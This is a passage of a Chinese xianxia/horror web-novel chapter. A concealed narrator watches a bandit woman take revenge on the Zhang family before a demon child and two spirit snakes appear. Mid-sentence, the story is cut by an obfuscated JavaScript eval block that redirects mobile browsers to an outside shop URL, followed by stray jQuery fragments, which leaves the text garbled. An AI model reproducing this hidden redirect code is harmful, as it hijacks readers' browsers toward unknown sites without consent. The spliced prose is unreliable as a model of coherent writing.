打定主意后,我从怀中掏出一张符纸,指走龙蛇疾画数笔,往额上一贴。身形顿时变得若有若无,如同水底暗影——这“隐神符”能令我似变色龙般隐入周遭色泽,只要不做大动作,一时半会儿便难以被发现。


    既然那两个低等小妖话里话外提及“养料”与“东厢”,不如跟去一探究竟。


    我无声息地缀在他们身后,来到一处库房。库房里堆着酒坛粮袋,隔壁耳房则塞满了蒙尘的布匹,显是许久无人打理。不久,一个辨不出原形的管事模样的妖怪过来,吩咐他二妖往后院送饭,说是“给关着的人垫垫肚子”。


    “给关押的人质送饭?”我心下一动,这正是探听虚实的好时机。


    待那二妖端起食盒,我便屏息凝神,紧跟其后。这两个小妖嘴碎得很,一路上嘀嘀咕咕,倒也让我听了个七七八八——


    “你说娘娘也真是怪,偏要借这么个腌臜凡宅摆宴。既成了咱们,哪有不吃人的道理?厢房里那几个,闻着可真馋人。”


    “你找死呢?忘了上次蜈蚣精偷吃门房,被打得十八条腿都断了,至今没养利索?娘娘放了话,再有下次,直接切了泡酒!你怎还敢胡说?也就是咱俩交情好,若叫旁人听去,不怕娘娘拿你当下酒菜?妖吃人,娘娘就不能吃妖么?”


    “唉,是是是,我这张笨嘴……多谢蛙兄提点。”


    “知道自个儿笨就少说两句。又不是猪精托生,怎的这般憨直?往后把嘴闭紧,莫再惹祸。”


    他们嘴上念叨着“吃”,手里端的倒是寻常饭食,七拐八绕,来到东厢后一处僻静的堂院。院门紧闭,声息全无。二妖径直推门而入,我趁隙闪身跟进。


    只见堂屋内,张家众人皆被铁链锁了脚踝,捆在廊柱上,口不能言,应是下了禁言咒。我刚欲出手放倒这两个小妖,角落里一直垂首的一人忽然抬起头,厉声喝道:


    “要杀要剐,给个痛快!”


    我目光一扫,心下微疑。据客栈小二所言,再加上茶客补充,张家主仆人数有限,而眼前廊柱上却栓了三人:一个腰挂钥匙串的门房,一个粗使丫鬟打扮的少女,还有一个做男装打扮、声音却分明是女子的人。


    这多出来的一个是谁?


    那被呵斥的小妖不怒反笑,叉腰道:“哟,你这人可真行,非把人家害得家宅不宁,这下好了,惊动了咱家娘娘,你自个儿讨不着好,反倒成了阶下囚,好笑不好笑?”


    “关你屁事!爱喂喂,不喂就滚!”


    那人自杂乱发间抬起眼,目光凌厉如刀,即便受困于柱,那眼神也似要将眼前小妖凌迟千万遍:“有种就违背你们那老虔婆娘娘的令,现在就来吃了我!姑奶奶若死了,化厉鬼也绝不放过你们!”


    “哎呦,还嘴硬——”那心直口快的小妖撸起袖子便要上前教训。不料刚凑近,“噗”的一声,一柄匕首已精准地捅穿了他的喉咙。


    原来她早已暗中解了绳索,只等对方近身。


    另一小妖大惊,张口欲呼,那女人已如豹子般扑上,寒光闪过,抹开他喉咙,随即又连捅数刀。那小妖甚至不及施展半点妖法,便抽搐着瘫软下去,顷刻间显了原形,是只灰毛野兔。


    女人拔出匕首,在兔毛上随意揩了两下,阴鸷的目光扫视四周。


    “这么不经杀,还当有多大能耐——呸!”


    此女出手狠辣果决,时机拿捏精准,言语更是刻意激将,显是蓄谋已久,绝非临时起意。她究竟是何人?与张家又有何深仇?我按下出手的念头,隐在墙边暗影里,且看下文。


    她并未立即离开,反而在屋中逡巡片刻,最终停在通往内室的门前。向内张望了一会儿,伸手推门,那门却纹丝不动。她不耐烦地一脚踹翻了地上的食案。


    脾气着实暴烈。我暗自摇头。


    她对着满地狼藉思索片刻,脸上忽又绽出一个恶毒的笑,抬脚狠狠踹在门上,连踹三脚,力道之大,让我都觉得脚骨生疼。


    门依旧紧闭。我凝神细看,只见门上附着一层黯淡的阴气,结成简易符咒,这才难以推开。看来内里确实藏着要紧之物。


    踹门声惊动了里面的人,一阵惊慌失措的尖叫声传来:“怀集……怀集莫怕!外头那贱种进不来!为父在此……她、她不敢怎样……”


    听到“贱种”二字,门外女子反倒笑得更欢畅了,语气甜得瘆人:“哈哈!放心,不止你们两个狗东西,这宅子里的一花一草、池子里的鱼,姑奶奶全不会放过!是人我便杀,是鬼我便灭,谁也别想活!”


    这是赶上凶手自曝其罪的场面了?


    我脚步微挪,心念电转,暗中屈指一弹,一道微不可查的气劲悄无声息地撞散了门上阴气。


    内里那老者的声音,除了安抚儿子,还透着股居高临下、试图以“父权”压人的味道——俗称“爹味”。


    什么人在自身性命受威胁时,还能摆出这般姿态?除非他自觉对局面仍有几分掌控,或自认与对方关系特殊,对方会有所顾忌。


    这口气……莫非是父女?我心中暗诧。


    这念头刚闪过,那女子已挥起手中刀,狠狠剁向房门!她仿佛有无穷的怒火与气力,接连劈砍了二三十下,木屑纷飞,竟真在门板上劈开一道缝隙。


    “老子今天非弄死你们不可!”


    紧接着,她从袖中掏出一个纸包,凑到裂缝前用力一吹。门内顿时传来剧烈的呛咳声。


    那老者的声音终于透出慌乱:“竖子尔敢!我……我可是你父亲!”


    “父他妈个屁的亲!”女子厉声叱骂,“寨里出了岔子,没能把你们这些渣滓一并送走,算你们走运!不过也无妨,正好让姑奶奶亲手了结!”


    张老太爷又惊又怒,破口大骂:“不仁不义的土匪贱种!婊子养的烂货!你那娼妓娘当初怎没把你摁在尿桶里淹死!”此刻他再也顾不上维持体面,撕下所有伪装,污言秽语尽数泼出。


    “土匪?”女子冷笑,“你这玩弄娼妓的老杂种,也有脸嫌婊子脏?当年我娘让你拿钱赎她,你这老狗卷了钱就跑,害那蠢女人带着老子差点饿死街头!你怎么不早点烂死!”


    “今日不宰了你,我紫云寨二当家柳如兰的名字倒过来写!”


    柳如兰说罢,蓄力猛踹一脚!门扉应声洞开,她因着惯性踉跄半步,眼中虽掠过一丝疑色,却瞬间被滔天恨意淹没,不及细想便提刀闯入。


    我也趁此机会,自梁上悄然飘落,如一片薄影贴在内室门外的阴影中,将室内景象尽收眼底。


    内间比外堂狭小,仅一榻一橱。张老太爷缩在榻角,用棉被紧紧裹住自己,他那儿子张怀集躲在其后,只露出半张惊惶的脸。


    “你……你怎敢……”张老太爷声音抖得厉害。


    “我怎么不敢?”柳如兰提着尚在滴血的刀,一步踏入。她脸上溅了血点,混着汗水,在昏黄烛光下显得格外狰狞。“老狗,你卷走我娘卖身钱的时候,可想过有今天?”


    “那是她自愿给我的!”张老太爷拔高嗓门,似在壮胆,“一个娼妇,身子本就不干净!我拿她的钱是看得起她!谁让她后来没……”


    话音未落,柳如兰一刀劈在榻沿!“咔嚓”一声,硬木裂开一道深缝。


    紧接着刀锋一转,直指张怀集:“父债子偿!今日就当着你老子的面,送你下去!”


    说着便要抹颈。


    “慢着!”张老太爷猛地推开儿子,自己向前蹭了半步,“你……你要杀就杀我!别动我儿!张家……张家就剩这一根香火了!”


    柳如兰像是听见天大的笑话,咧开嘴,笑得肩膀直颤:“你那好儿媳肚子里倒是揣过一根,可惜死得干净!你们张家,早他娘绝后了!”


    这边正吵得激烈,眼看血溅当场,一股突如其来的阴气无声弥漫。


    这不是风。


    我等的东西,终于来了。


    柳如兰的笑声戛然而止,她警惕地环顾四周。屋内明明只有他们三人。


    但那阴冷之气,却越来越浓重,粘稠得几乎令人窒息。


    张老太爷趁机想将儿子再往后藏,张怀集却像被钉住了,直勾勾地盯着内间角落那口黑沉沉的橱柜。


    柜门,不知何时开了一道缝。


    细细的,黑黢黢的缝。


    “爹……”张怀集的声音抖得不成样子,“柜子里……有东西在看我。”


    柳如兰猛地转身,横刀于胸。


    烛火倏地一晃。这一次,我看清了,那柜门缝隙里,确有一只眼睛。


    竖瞳,泛着浑浊的暗金色,宛如陈年琥珀,其中却空洞无物,只是静静地“看”着。


    接着,响起了咀嚼声。


    很轻,很慢,像在细细品味一块酥皮点心,“咔嚓、咔嚓”。


    柳如兰脸色骤变:“什么东西装神弄鬼?滚出来!”


    橱柜门“吱呀”一声,被缓缓推开些许。


    先探出来的,是一只孩童大小的、惨白的手,指甲又长又尖,透着青黑色。它扒住柜门,随即,一个脑袋钻了出来。


    那确是一张孩童的面孔,眉目甚至堪称清秀。但皮肤白得不自然,似久不见天日,又似覆了一层薄蜡。


    它只睁着一只眼,嘴里叼着半块饼。


    甜腻腻、油汪汪的糕饼。


    它


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17079359|184631||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    慢条斯理地嚼着,暗金色的竖瞳,一眨不眨地落在柳如兰身上。


    “张其远?”


    柳如兰倒退一步,声音里的狠厉裂开一道缝隙,“不可能……你该在……”


    “我该在暖阁里睡着是么?”那“孩子”开口了,声音糅杂着孩童的稚嫩与一种砂纸磨砺般的沙哑。


    “柳姨。”


    它将最后一点饼屑咽下,舔了舔指尖油渍,动作带着非人的滞涩感。


    “还得谢谢你呢。”它说着,嘴角弯起一抹笑,眼里却依旧冰冷。


    柳如兰握刀的手猛地收紧:“你到底是什么东西?”


    “张其远”从柜中爬出。它身着绸缎小褂,赤着脚,脚踝上一圈青黑纹路,宛如胎记。


    “是张其远呀,”它每说一句,便向前一步,“是你替爷爷找回来的‘亲孙子’,张家唯一的香火,未来的家主。”


    看着它这副诡异模样,张老太爷突然嘶声尖叫:“是那个贱人!她阴魂不散!她回来了!鬼妻买饼……传言是真的!她回来了!!”


    “孩子”转过头,瞥了张老太爷一眼。仅仅一眼,张老太爷便如被扼住咽喉,嗬嗬作响,再吐不出一个字,只剩下满脸骇极的恐惧。


    “娘不是回来了。”“孩子”轻轻地说,语调近乎天真,内容却残忍无比,“娘是……从来就没离开过呀。”


    柳如兰呼吸粗重,脸上神情狰狞得恨不能将对方生吞活剥。


    “还有啊,”“孩子”继续用那闲聊般的口吻说,“你搁在我房里的那个‘假货’,不知从哪户人家偷来的男婴……他哭得可真吵。”它歪了歪头,“现在嘛,他睡在我床底的坛子里,可安静了。”


    它终于在离柳如兰五六步处站定,小小的身躯,散发着令人极度不适的压迫感。


    “所以,柳姨,”占据张其远躯壳的妖物笑眯眯地问,“你想把这摊浑水泼到妖怪头上,自己拿了张家的地契银两远走高飞……”


    它拖长了调子,暗金色瞳孔微微收缩:“是不是得先想想,怎么从我手底下……活下去?”


    话音未落,柳如兰动了!她到底是刀口舔血的土匪二当家,惊惧到极致,反倒逼出一股亡命狠劲。不退反进,刀光如雪,直削妖物脖颈!刀势迅疾决绝,竟带同归于尽之意。


    张其远未动。


    它只抬起那只惨白小手。


    “铿!”


    刀锋砍中手掌,竟发出金铁交击般的怪响!柳如兰虎口崩裂,长刀脱手飞出,“当啷”落地。


    妖物手掌完好无损,连道白痕也无。


    它五指一收,攥住了柳如兰手腕。


    “柳姨的力气,”它轻声说,“可比杀兔子时小多了。”随即,腕骨碎裂声在死寂中清晰炸响!


    柳如兰惨叫一声,额角瞬间沁出冷汗。她却也凶悍,另一手竟从靴筒又抽出一柄短匕,直刺妖物心口!


    妖物似有些意外,“咦”了一声,松开手,小小的身躯以不可思议的角度向后弯折,险险避开这搏命一刺。柳如兰趁机踉跄后退,背脊抵上冰冷墙壁,大口喘息,断腕软垂,鲜血淋漓。


    妖物站直身子,拍了拍衣襟并不存在的灰尘。


    “有点意思。”它用那张孩童的脸评价道,“凡人里,你算不错了。”


    它的目光,忽然越过柳如兰,投向了我藏身的房梁方向。


    暗金色的竖瞳,似乎微微眯了一下。


    我心头一凛。


    被发现了?


    恰在此时,房梁另一侧的阴影中,毫无征兆地窜出两道细影!


    一青,一白。


    疾如闪电,直扑妖物!


    是两条小蛇,长不过尺许。青蛇如碧玉凝萃,白蛇似霜雪堆琼,额心皆有一点淡金毫芒。它们左右分袭,瞬息缠上妖物双臂,张口便咬!


    妖物发出一声刺耳尖啸,从容尽失!周身猛地爆开一团浓浊黑气,欲震飞二蛇。然而青白二蛇身上同时泛起柔和光晕,竟与那黑气僵持不下,相互侵蚀,发出“嗤嗤”异响。


    “是你们!”张其远的声音充满怨毒,“往日几番相帮,我本有意报答,为何此番偏要阻我?!”


    “嘶——!”青蛇攻势稍顿,蛇信急吐,似在传达什么。白蛇却更为冷冽,长尾一摆,毫不迟疑,一股冰寒气息直喷妖物面门!


    趁这混乱间隙,柳如兰反应极快,强忍断腕剧痛,扶住墙根,艰难地向门口挪去。


    张老太爷与张怀集早已骇得魂飞魄散,缩在榻上抖作一团。


    妖胎被青白二蛇死死缠住,一时无法脱身,周身黑气翻滚不休,与蛇身清光不断碰撞、消磨